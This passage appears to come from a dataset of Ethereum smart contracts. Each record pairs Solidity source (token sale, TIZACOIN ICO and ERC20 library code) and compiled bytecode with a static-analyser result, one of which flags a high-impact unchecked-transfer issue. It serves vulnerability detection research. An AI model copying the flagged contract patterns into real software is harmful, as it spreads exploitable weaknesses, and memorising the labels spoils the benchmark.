weeks) { return amount * PRE_SALE_3WEEK_BONUS/100; } if (w > 3 weeks && w <= 4 weeks) { return amount * PRE_SALE_4WEEK_BONUS/100; } return 0; } if (now >= SALE_START && now <= SALE_END) { uint w2 = now - SALE_START; if (w2 <= 1 weeks) { return amount * SALE_1WEEK_BONUS/100; } if (w2 > 1 weeks && w2 <= 2 weeks) { return amount * SALE_2WEEK_BONUS/100; } if (w2 > 2 weeks && w2 <= 3 weeks) { return amount * SALE_3WEEK_BONUS/100; } if (w2 > 3 weeks && w2 <= 4 weeks) { return amount * SALE_4WEEK_BONUS/100; } return 0; } return 0; } function getPrice() public view returns (uint) { if (now >= PRE_SALE_START && now <= PRE_SALE_END) { return PRE_SALE_PRICE; } if (now >= SALE_START && now <= SALE_END) { return SALE_PRICE; } return 0; } function getMinimumAmount() public view returns (uint) { if (now >= PRE_SALE_START && now <= PRE_SALE_END) { return PRE_SALE_MIN_BUY; } if (now >= SALE_START && now <= SALE_END) { return SALE_MIN_BUY; } return 0; } }
0x6060604052600436106100ae5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100b3578063095ea7b31461013d57806318160ddd1461017357806323b872dd14610198578063313ce567146101c057806342966c68146101e957806370a082311461020157806395d89b4114610220578063a9059cbb14610233578063be45fd6214610255578063dd62ed3e146102ba575b600080fd5b34156100be57600080fd5b6100c66102df565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101025780820151838201526020016100ea565b50505050905090810190601f16801561012f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014857600080fd5b61015f600160a060020a036004351660243561037d565b604051901515815260200160405180910390f35b341561017e57600080fd5b610186610438565b60405190815260200160405180910390f35b34156101a357600080fd5b61015f600160a060020a036004358116906024351660443561043e565b34156101cb57600080fd5b6101d361059a565b60405160ff909116815260200160405180910390f35b34156101f457600080fd5b6101ff6004356105a3565b005b341561020c57600080fd5b610186600160a060020a036004351661066c565b341561022b57600080fd5b6100c6610687565b341561023e57600080fd5b61015f600160a060020a03600435166024356106f2565b341561026057600080fd5b61015f60048035600160a060020a03169060248035919060649060443590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506107e595505050505050565b34156102c557600080fd5b610186600160a060020a0360043581169060243516610910565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103755780601f1061034a57610100808354040283529160200191610375565b820191906000526020600020905b81548152906001019060200180831161035857829003601f168201915b505050505081565b6000600160a060020a038316151561039457600080fd5b8115806103c45750600160a060020a03338116600090815260026020908152604080832093871683529290522054155b15156103cf57600080fd5b600160a060020a03338116600081815260026020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005481565b6000600160a060020a038416151561045557600080fd5b600160a060020a038316151561046a57600080fd5b30600160a060020a031683600160a060020a03161415151561048b57600080fd5b600160a060020a038416600090815260016020526040902054829010156104b157600080fd5b600160a060020a0380851660009081526002602090815260408083203390941683529290522054829010156104e557600080fd5b600160a060020a038316600090815260016020526040902054828101101561050c57600080fd5b600160a060020a03808416600081815260016020908152604080832080548801905588851680845281842080548990039055600283528184203390961684529490915290819020805486900390559091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b60055460ff1681565b60008082116105b157600080fd5b600160a060020a033316600090815260016020526040902054829010156105d757600080fd5b600054829010156105e757600080fd5b50600160a060020a03331660008181526001602052604080822080548581039091558254859003835592907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a3600160a060020a0333166000908152600160205260409020548282031461066857fe5b5050565b600160a060020a031660009081526001602052604090205490565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103755780601f1061034a57610100808354040283529160200191610375565b6000600160a060020a038316151561070957600080fd5b30600160a060020a031683600160a060020a03161415151561072a57600080fd5b600160a060020a0333166000908152600160205260409020548290101561075057600080fd5b600160a060020a038316600090815260016020526040902054828101101561077757600080fd5b600160a060020a033381166000818152600160205260408082208054879003905592861680825290839020805486019055917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b60008060006107f486866106f2565b15156107ff57600080fd5b853b91506000821115610904575084600160a060020a03811663c0ee0b8a3387876040518463ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156108a657808201518382015260200161088e565b50505050905090810190601f1680156108d35780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15156108f357600080fd5b5af1151561090057600080fd5b5050505b50600195945050505050565b600160a060020a039182166000908152600260209081526040808320939094168252919091522054905600a165627a7a72305820914c695673b78a1a931abd537a3aeeb78ea34c86e8be00c35240b2005c031cd80029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
3,866
0xade8bc5a7da114dda5aed23071eba7d150c67c7a
pragma solidity 0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract TIZACOIN { using SafeMath for uint256; string public name = "TIZACOIN"; // Token name string public symbol = "TIZA"; // Token symbol uint256 public decimals = 18; // Token decimal points uint256 public totalSupply = 50000000 * (10 ** uint256(decimals)); // Token total supply // Balances for each account mapping (address => uint256) public balances; // Owner of account approves the transfer of an amount to another account mapping (address => mapping (address => uint256)) public allowance; // variable to start and stop ico bool public stopped = false; uint public minEth = 0.2 ether; // contract owner address public owner; // wallet address ethereum will going address public wallet = 0xDb78138276E9401C908268E093A303f440733f1E; // number token we are going to provide in one ethereum uint256 public tokenPerEth = 5000; // struct to set ico stage detail struct icoData { uint256 icoStage; uint256 icoStartDate; uint256 icoEndDate; uint256 icoFund; uint256 icoBonus; uint256 icoSold; } // ico struct alias icoData public ico; // modifier to check sender is owner ot not modifier isOwner { assert(owner == msg.sender); _; } // modifier to check ico is running ot not modifier isRunning { assert (!stopped); _; } // modifier to check ico is stopped ot not modifier isStopped { assert (stopped); _; } // modifier to check sender is valid or not modifier validAddress { assert(0x0 != msg.sender); _; } // contract constructor constructor(address _owner) public { require( _owner != address(0) ); owner = _owner; balances[owner] = totalSupply; emit Transfer(0x0, owner, totalSupply); } // function to get the balance of a specific address function balanceOf(address _address) public view returns (uint256 balance) { // Return the balance for the specific address return balances[_address]; } // Transfer the balance from owner's account to another account function transfer(address _to, uint256 _value) public isRunning validAddress returns (bool success) { require(_to != address(0)); require(balances[msg.sender] >= _value); require(balances[_to].add(_value) >= balances[_to]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } // Send `tokens` amount of tokens from address `from` to address `to` // The transferFrom method is used for a withdraw workflow, allowing contracts to send // tokens on your behalf, for example to "deposit" to a contract address and/or to charge // fees in sub-currencies; the command should fail unless the _from account has // deliberately authorized the sender of the message via some mechanism; we propose // these standardized APIs for approval: function transferFrom(address _from, address _to, uint256 _value) public isRunning validAddress returns (bool success) { require(_from != address(0) && _to != address(0)); require(balances[_from] >= _value); require(balances[_to].add(_value) >= balances[_to]); require(allowance[_from][msg.sender] >= _value); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } // Allow `spender` to withdraw from your account, multiple times, up to the `tokens` amount. // If this function is called again it overwrites the current allowance with _value. function approve(address _spender, uint256 _value) public isRunning validAddress returns (bool success) { require(_spender != address(0)); require(_value <= balances[msg.sender]); require(_value == 0 || allowance[msg.sender][_spender] == 0); allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } // set new ico stage function setStage(uint256 _stage, uint256 _startDate, uint256 _endDate, uint256 _fund, uint256 _bonus) external isOwner returns(bool) { // current time must be greater then previous ico stage end time require(now > ico.icoEndDate); // current stage must be greater then previous ico stage require(_stage > ico.icoStage); // current time must be less then start new ico time require(now < _startDate); // new ico start time must be less then new ico stage end date require(_startDate < _endDate); // owner must have fund to start the ico stage require(balances[msg.sender] >= _fund); // calculate the token uint tokens = _fund * (10 ** uint256(decimals)); // set ico data ico.icoStage = _stage; ico.icoStartDate = _startDate; ico.icoEndDate = _endDate; ico.icoFund = tokens; ico.icoBonus = _bonus; ico.icoSold = 0; // transfer tokens to the contract transfer( address(this), tokens ); return true; } // set withdrawal wallet address function setWithdrawalWallet(address _newWallet) external isOwner { // new and old address should not be same require( _newWallet != wallet ); // new balance is valid or not require( _newWallet != address(0) ); // set new withdrawal wallet wallet = _newWallet; } // payable to send tokens who is paying to the contract function() payable public isRunning validAddress { // sender must send atleast 0.02 ETH require(msg.value >= minEth); // check for ico is active or not require(now >= ico.icoStartDate && now <= ico.icoEndDate ); // calculate the tokens amount uint tokens = msg.value * tokenPerEth; // calculate the bounus uint bonus = ( tokens.mul(ico.icoBonus) ).div(100); // add the bonus tokens to actual token amount uint total = tokens + bonus; // ico must have the fund to send require(ico.icoFund >= total); // contract must have the balance to send require(balances[address(this)] >= total); // sender's new balance must be greate then old balance require(balances[msg.sender].add(total) >= balances[msg.sender]); // update ico fund and sold token count ico.icoFund = ico.icoFund.sub(total); ico.icoSold = ico.icoSold.add(total); // send the tokens from contract to msg.sender _sendTokens(address(this), msg.sender, total); // transfer ethereum to the withdrawal address wallet.transfer( msg.value ); } // function to get back the token from contract to owner function withdrawTokens(address _address, uint256 _value) external isOwner validAddress { // check for valid address require(_address != address(0) && _address != address(this)); // calculate the tokens uint256 tokens = _value * 10 ** uint256(decimals); // check contract have the sufficient balance require(balances[address(this)] > tokens); // check for valid value of value params require(balances[_address] < balances[_address].add(tokens)); // send the tokens _sendTokens(address(this), _address, tokens); } function _sendTokens(address _from, address _to, uint256 _tokens) internal { // deduct contract balance balances[_from] = balances[_from].sub(_tokens); // add balanc to the sender balances[_to] = balances[_to].add(_tokens); // call the transfer event emit Transfer(_from, _to, _tokens); } // event to event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); }
0x608060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306b091f91461037357806306fdde03146103c0578063095ea7b3146104505780630a084473146104b557806318160ddd146104e057806323b872dd1461050b57806327e235e314610590578063313ce567146105e7578063521eb273146106125780635d4522011461066957806370a08231146106b757806375796f761461070e57806375f12b21146107515780638da5cb5b1461078057806395d89b41146107d7578063a9059cbb14610867578063b0335ffc146108cc578063dd62ed3e14610939578063f1fb3ace146109b0575b6000806000600660009054906101000a900460ff1615151561012557fe5b3373ffffffffffffffffffffffffffffffffffffffff1660001415151561014857fe5b600754341015151561015957600080fd5b600b6001015442101580156101735750600b600201544211155b151561017e57600080fd5b600a54340292506101b060646101a2600b60040154866109db90919063ffffffff16565b610a1390919063ffffffff16565b9150818301905080600b60030154101515156101cb57600080fd5b80600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561021957600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546102ab82600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a2990919063ffffffff16565b101515156102b857600080fd5b6102d081600b60030154610a4590919063ffffffff16565b600b600301819055506102f181600b60050154610a2990919063ffffffff16565b600b60050181905550610305303383610a5e565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f1935050505015801561036d573d6000803e3d6000fd5b50505050005b34801561037f57600080fd5b506103be600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bf2565b005b3480156103cc57600080fd5b506103d5610de9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104155780820151818401526020810190506103fa565b50505050905090810190601f1680156104425780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561045c57600080fd5b5061049b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e87565b604051808215151515815260200191505060405180910390f35b3480156104c157600080fd5b506104ca6110d5565b6040518082815260200191505060405180910390f35b3480156104ec57600080fd5b506104f56110db565b6040518082815260200191505060405180910390f35b34801561051757600080fd5b50610576600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e1565b604051808215151515815260200191505060405180910390f35b34801561059c57600080fd5b506105d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115b5565b6040518082815260200191505060405180910390f35b3480156105f357600080fd5b506105fc6115cd565b6040518082815260200191505060405180910390f35b34801561061e57600080fd5b506106276115d3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561067557600080fd5b5061067e6115f9565b60405180878152602001868152602001858152602001848152602001838152602001828152602001965050505050505060405180910390f35b3480156106c357600080fd5b506106f8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611623565b6040518082815260200191505060405180910390f35b34801561071a57600080fd5b5061074f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061166c565b005b34801561075d57600080fd5b506107666117a2565b604051808215151515815260200191505060405180910390f35b34801561078c57600080fd5b506107956117b5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107e357600080fd5b506107ec6117db565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561082c578082015181840152602081019050610811565b50505050905090810190601f1680156108595780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561087357600080fd5b506108b2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611879565b604051808215151515815260200191505060405180910390f35b3480156108d857600080fd5b5061091f6004803603810190808035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190505050611b79565b604051808215151515815260200191505060405180910390f35b34801561094557600080fd5b5061099a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611cc5565b6040518082815260200191505060405180910390f35b3480156109bc57600080fd5b506109c5611cea565b6040518082815260200191505060405180910390f35b6000808314156109ee5760009050610a0d565b81830290508183828115156109ff57fe5b04141515610a0957fe5b8090505b92915050565b60008183811515610a2057fe5b04905092915050565b60008183019050828110151515610a3c57fe5b80905092915050565b6000828211151515610a5357fe5b818303905092915050565b610ab081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a4590919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b4581600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a2990919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60003373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610c4d57fe5b3373ffffffffffffffffffffffffffffffffffffffff16600014151515610c7057fe5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610cd957503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1515610ce457600080fd5b600254600a0a8202905080600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111515610d3b57600080fd5b610d8d81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a2990919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515610dd957600080fd5b610de4308483610a5e565b505050565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e7f5780601f10610e5457610100808354040283529160200191610e7f565b820191906000526020600020905b815481529060010190602001808311610e6257829003601f168201915b505050505081565b6000600660009054906101000a900460ff16151515610ea257fe5b3373ffffffffffffffffffffffffffffffffffffffff16600014151515610ec557fe5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610f0157600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610f4f57600080fd5b6000821480610fda57506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1515610fe557600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600a5481565b60035481565b6000600660009054906101000a900460ff161515156110fc57fe5b3373ffffffffffffffffffffffffffffffffffffffff1660001415151561111f57fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156111895750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b151561119457600080fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156111e257600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461127483600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a2990919063ffffffff16565b1015151561128157600080fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561130c57600080fd5b61135e82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a2990919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113f382600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a4590919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114c582600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a4590919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60046020528060005260406000206000915090505481565b60025481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b8060000154908060010154908060020154908060030154908060040154908060050154905086565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156116c557fe5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561172257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561175e57600080fd5b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660009054906101000a900460ff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156118715780601f1061184657610100808354040283529160200191611871565b820191906000526020600020905b81548152906001019060200180831161185457829003601f168201915b505050505081565b6000600660009054906101000a900460ff1615151561189457fe5b3373ffffffffffffffffffffffffffffffffffffffff166000141515156118b757fe5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156118f357600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561194157600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119d383600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a2990919063ffffffff16565b101515156119e057600080fd5b611a3282600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a4590919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ac782600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a2990919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000803373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611bd557fe5b600b6002015442111515611be857600080fd5b600b6000015487111515611bfb57600080fd5b8542101515611c0957600080fd5b8486101515611c1757600080fd5b83600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611c6557600080fd5b600254600a0a8402905086600b6000018190555085600b6001018190555084600b6002018190555080600b6003018190555082600b600401819055506000600b60050181905550611cb63082611879565b50600191505095945050505050565b6005602052816000526040600020602052806000526040600020600091509150505481565b600754815600a165627a7a7230582057a1de01ef12f6fa44f1f47021d9a78ada821b2505bf0ea9dfbfce612954009b0029
{"success": true, "error": null, "results": {}}
3,867
0x1384D257Bc11C11bc01e2429fE0DDe36F4083f45
pragma solidity ^0.5.16; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, 